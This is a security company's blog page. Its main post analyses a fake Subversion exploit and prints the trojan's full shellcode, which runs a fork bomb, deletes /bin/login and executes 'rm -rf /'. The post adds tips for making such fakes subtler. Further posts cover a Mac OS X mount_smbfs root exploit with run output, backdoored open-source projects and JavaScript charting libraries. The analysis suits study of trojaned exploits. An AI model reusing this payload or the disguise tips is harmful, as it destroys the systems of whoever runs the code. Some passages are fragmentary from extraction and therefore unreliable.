Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):
/* * This exploits a wierd state condition in Subversion < = 1.4.4. * When the incoming connection stack is filled via many incoming * syns in concurance with shifting the rev_ptr struct over a * variable gap of memory a boundary condition occurs which corrupts * a func ptr to point several bytes backwards. A call is forced * through "checkout-latest-rev" with our shellcode in place. * * This Vuln is NOT public, do NOT release this code or any * information pertaining to this bug. * * Author: onionring */
Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).
We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):
char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ... "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80" "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80" "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42" "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31" "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F" "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F" "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72" "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2" "\x04\x0B\xCD\x80";
Let's take a look over the disassembly and strings. We notice a call to the signal() system call:
From include/asm-i386/unistd.h #define __NR_signal 48 From include/asm-generic/signal.h /* ignore signal */ #define SIG_IGN ((__force __sighandler_t)1) From include/asm-i386/signal.h #define SIGHUP 1 00000030 31C0 xor eax,eax 00000032 89C3 mov ebx,eax 00000034 89C1 mov ecx,eax 00000036 41 inc ecx 00000037 B030 mov al,0x30 00000039 CD80 int 0x80
Later it issues a fork() call and, as
a reply in full-disclosure
thread, seems to be part of a typical fork() bomb procedure.
That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.
0000006F 31C0 xor eax,eax 00000071 50 push eax 00000072 686F67696E push dword 0x6e69676f 00000077 68696E2F6C push dword 0x6c2f6e69 0000007C 682F2F2F62 push dword 0x622f2f2f 00000081 89E3 mov ebx,esp 00000083 31C0 xor eax,eax 00000085 040A add al,0xa 00000087 CD80 int 0x80
There you go. This annoyance is nothing but an unlink() call to remove
the /bin/login file. The situation is aggravated by the fact that the
fake exploit, using raw sockets as excuse, requires root privileges to run:
if (getuid() != 0) {
fprintf(stderr, "[E] Need root privs for raw sockets\n");
exit(1);
}
And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.
00000089 31C0 xor eax,eax 0000008B 50 push eax 0000008C 682A2F2F2F push dword 0x2f2f2f2a 00000091 89E2 mov edx,esp 00000093 50 push eax 00000094 682D726666 push dword 0x6666722d 00000099 89E1 mov ecx,esp 0000009B 50 push eax 0000009C 686E2F726D push dword 0x6d722f6e 000000A1 682F2F6269 push dword 0x69622f2f 000000A6 89E3 mov ebx,esp 000000A8 50 push eax 000000A9 52 push edx 000000AA 51 push ecx 000000AB 53 push ebx 000000AC 89E1 mov ecx,esp 000000AE 31D2 xor edx,edx 000000B0 040B add al,0xb 000000B2 CD80 int 0x80
You can use the watson.org LXR installation for
looking up
system call numbers, and other constants. The disassembly is clear and easy
to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies
and other annoying people, and the technically skilled guys won't bother running
them without inspection (there are exceptions, though :) ). They serve as great
jokes, even if some can cause significant damage to the system (unless you run
them inside a hardened chroot environment, with a solid patch like
grsecurity that prevents several techniques
to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:
strings against your
exploit in compiled form.
signal handler.mprotect() is your friend. Make it subtle, though.There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.
>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB
Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".
We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the
mount_smbfs argument stack-based buffer overflow. Using the
shared_region_map_file_np() system call, we map a file containing
shellcode at a fixed location, with write, read and execute permissions
(VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE).
This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard. On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.
$ ./mount_smbfs_root Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit Copyright (c) 2007-2008 Subreption LLC. All rights reserved. Mapping shellcode from file via shared_region_map_file_np()... Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71 Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71 mount_smbfs: workgroup name 'AAAA...' malcomx:/Users/nonpriv root# id uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin) malcomx:/Users/nonpriv root# exit exit
It is available at our corporate public repository, as well as the Milw0rm website.
Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.
Who doesn't remember those old root setuid binaries with argument
parsing stack buffer overflows, the days when sudo had
trivially exploitable vulnerabilities and system administrators panicked at
the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple
had its share of bad luck with
one of the
latest Security Updates for Mac OS X. But it's 2007, approaching 2008
already, not 1997!
Apparently, a regression was introduced into Tiger via one of
the updates (in previous audits we didn't find this binary to be affected by
this vulnerability), and made the mount_smbfs root-setuid binary
vulnerable to a trivially exploitable stack-based buffer overflow, which allows
(root) privilege escalation for any user on the system.
The condition triggers when an overly long string is passed as parameter to the
-W (workgroup name) option. Depending on how many registers you
require, the padding size is approximately 1040+16 bytes for x86,
to overwrite eip.
One of the requirements to abuse this issue properly is doing a
setuid(0) call, in order to make the root privileges effective.
There are different possibilities to successfully exploit this issue:
eax, return to setuid(), with saved
eip pointing at system() and argument set to shell of
choice (ie. use the SHELL environment variable value).malloc(). MALLOC_LARGE section... it could be in Unicode format.Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don't agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it's more solid than Leopard's, it's still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).
Don't call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! iWorks 2008 is neat but we don't like vulnerable root-setuid binaries.
After taking a look over the Mac OS X firewall (which has been criticized by several people already), we've detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):
We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned.
Every now and then, the news talk about some Open Source software package that has been compromised (as in backdoored: tampered to include code or functionality that opens its users to abuse from third-parties). A few days ago it was SquirrelMail, in March it was the massively extended Wordpress blogging software.
In 2003, the Linux kernel itself experienced a
compromise that resulted in a very subtle, discreet
backdoor added to the source code of the sys_wait4() function,
which allowed privilege escalation to gain root level access. Debian, GNU Project and Gentoo servers
and distribution sites have been targets of successful attacks, and the CVS
project server was attacked in 2004. Recently, Ubuntu community-hosted
servers were compromised as well.
In 2002, IRSSI (the IRC client) and several network security tools hosted at Monkey.org were modified to contain backdoors that activated during compilation time.
All your base are belong to us.Some languages are more prone to be subtly manipulated for implementing hostile functionality: C conditional statements and variable assignment, incorrect use of operators... in PHP we have the
preg_replace function and other
possibilities. Also some object oriented languages allow class methods and
functions to be intercepted easily, like Objective-C.
In the Linux kernel case, it could have been well identified as a typo. The fact that there are sophisticated attackers out there, who inspect and dive into the target before making the definitive move, is certainly not a common threat. In the words of the BitMover founder, Larry McVoy (in an article for SecurityFocus):
Whoever did this knew what they were doing. They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance.
The security industry itself is normally driven by trends, and nowadays the trend is about defacements, unsophisticated attacks and propaganda tools. The real threats aren't botnets or Brazilian defacement script-kiddies.
One of the main disadvantages that affect open source projects, is the fact that their development resources are far more exposed than those of proprietary vendors. It's easy to audit the software powering their version controlled repository, their issue and bug tracking application, their mail server daemon (hopefully it's Qmail!), etc. While closed source applications are also exposed in other manners, an open source project depends entirely on an open development model which has its own (security) weaknesses.
There's no real way to enforce legal obligations and rights for each developer (the insider threat: a rogue developer adding a backdoor himself), without making agreements and other paperwork effective.
We won't spoil the surprise about the name of the project, yet. :)
Layout and a Renderer that generates and inserts the chart in to the page content (using MochiKit), with a simplistic approach for introducing data-sets.
function drawGraph() {
var layout = new PlotKit.Layout("bar", {});
layout.addDataset("sqrt", [[0, 0], [1, 1], [2, 1.414], [3, 1.73], [4, 2]]);
layout.evaluate();
var canvas = MochiKit.DOM.getElement("graph");
var plotter = new PlotKit.SweetCanvasRenderer(canvas, layout, {});
plotter.render();
}
MochiKit.DOM.addLoadEvent(drawGraph);
The main disadvantage is that SVG and HTML CANVAS support have certain compatibility issues across different browsers and many still need to mature their support for such functionality. This leaves a huge surface of potential interoperability problems which might be a serious show-stopper when deploying PlotKit.
PlotArea). The data-set can be bound to a Store object (similar to the DataSource object of the YUI library), plus it supports all browsers except WebKit powered ones (those pesky Safari users! :) ). Some data analysis methods have been implemented too...
The usage is easy and documentation is very complete (something common with Dojo, probably due to its user base and support from several sponsors):
dojo.require("dojox.charting.widget.Chart2D");
dojo.require("dojox.charting.themes.PlotKit.orange");
dojo.require("dojox.charting.themes.PlotKit.blue");
dojo.require("dojox.charting.themes.PlotKit.green");
dojo.require("dojox.data.HtmlTableStore");
seriesB = [2.6, 1.8, 2, 1, 1.4, 0.7, 2];
dojo.require("dojo.parser"); // scan page for widgets and instantiate them
Note how HtmlTableStore is used and the Parser component. Within the HTML source:
<div dojoType="dojox.data.HtmlTableStore" tableId="tableExample" jsId="tableStore"></div> <table id="tableExample" style="display: none;"> <thead> <tr><th>value</th></tr> </thead> <tbody> <tr><td>6.3</td></tr> <tr><td>1.8</td></tr>If there's something we appreciate from Dojo, it's the flexibility we enjoy from using it. You can certainly keep Dojo in mind for your charting (and several other UI) related needs. Regarding Internet Explorer support, as far as we know, several libraries make use of emulation for setting up HTML CANVAS support through VML.
Charts control with a nice API. The best thing about it: polling data from a DataSource object is supported.
That means dynamic charts, easy interoperability and good performance. Rendering the charts is a piece of cake:
var mychart = new YAHOO.widget.LineChart( "chart", myDataSource,
{
xField: "month",
series: seriesDef,
yAxis: currencyAxis,
dataTipFunction: "getDataTipText"
});
YUI continues to impress us everyday. Since it uses Flash for rendering the charts, any browser with the Flash Player plugin will be able to render them. Also, the Flash charts can contain interactive labels and other useful details. This is clearly a winner in our books (and Dojo is always noteworthy too, but we can't afford using two toolkits since load times will skyrocket).
We've been coming across different annoyances in our quest of deploying YUI into one of our main products (a few more articles talking about its development coming soon), the Ruby on Rails content management system behind our almost-ready customer portal and corporate site. The problem comes mainly from the coexistence of our custom CSS and JavaScript code, and the YUI specific style-sheets and library files.
TabView control is rendering the tabs with an incorrect height:
possibly caused by style conflicts, but we have confirmed this is not the case
(at least our CSS is consistent and not conflicting with YUI).Editor component is unable to adjust its size to a sensible
default (in other words: it seems unable to match approximately the
old size of the barebones textarea element).YUILoader is not liking our layout and failed to expose the
YAHOO.widget objects properly. Thus we couldn't make any real
use of it without resorting to Event driven functions and slow
transitions (as unpleasing as watching a textarea transform into
the Editor UI in “real time” :( ).The problems are really bugging us and we have considered moving to fully custom code, even if that means delaying the development of some other features that might be of higher priority. Hopefully we will solve the issues soon and keep YUI in place, since the functionality is really complete.
Yahoo! released yesterday a new version of the feature-rich, BSD licensed YUI (the Yahoo! User Interface library) implementing several improvements, some new controls and other innovative functionality. The components that quickly turned heads over here, are namely:
Their change-log contains a complete overview of the fixes and the new features. We are integrating this new release for the (Ruby on Rails powered) content management system engine we have developed for our corporate site, and recommend YUI for any serious web developer seeking a library providing solid controls and functionality. Besides, it comes with no strings attached.
Subreption blog by Subreption LLC is Licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0
United States License.